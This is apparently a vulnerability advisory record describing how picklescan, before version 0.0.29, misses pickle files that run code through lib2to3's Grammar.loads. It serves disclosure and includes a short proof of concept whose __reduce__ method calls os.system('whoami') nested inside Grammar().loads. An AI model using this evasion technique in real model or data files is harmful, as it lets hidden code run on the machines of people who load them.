Picklescan has a missing detection when calling built-in python lib2to3.pgen2.grammar.Grammar.loads
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
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- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
### Summary Using lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class Evil: def __reduce__(self): import os return (os.system, ('whoami',)) class EvilLib2to3Pgen2GrammarLoads: def __reduce__(self): from lib2to3.pgen2.grammar import Grammar payload = pickle.dumps(Evil()) # payload = b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' return Grammar().loads, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | picklescan (PyPI) | before 0.0.29 | 0.0.29 | Patch available | GHSA-f54q-57x4-jg88 |
- picklescan (PyPI) Vendor— Affected before 0.0.29 Fixed in 0.0.29 Patch available GHSA-f54q-57x4-jg88
Remediation
- Fix · GHSA-f54q-57x4-jg88 picklescan (PyPI) Fixed in 0.0.29 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-f54q-57x4-jg88
References
Sources
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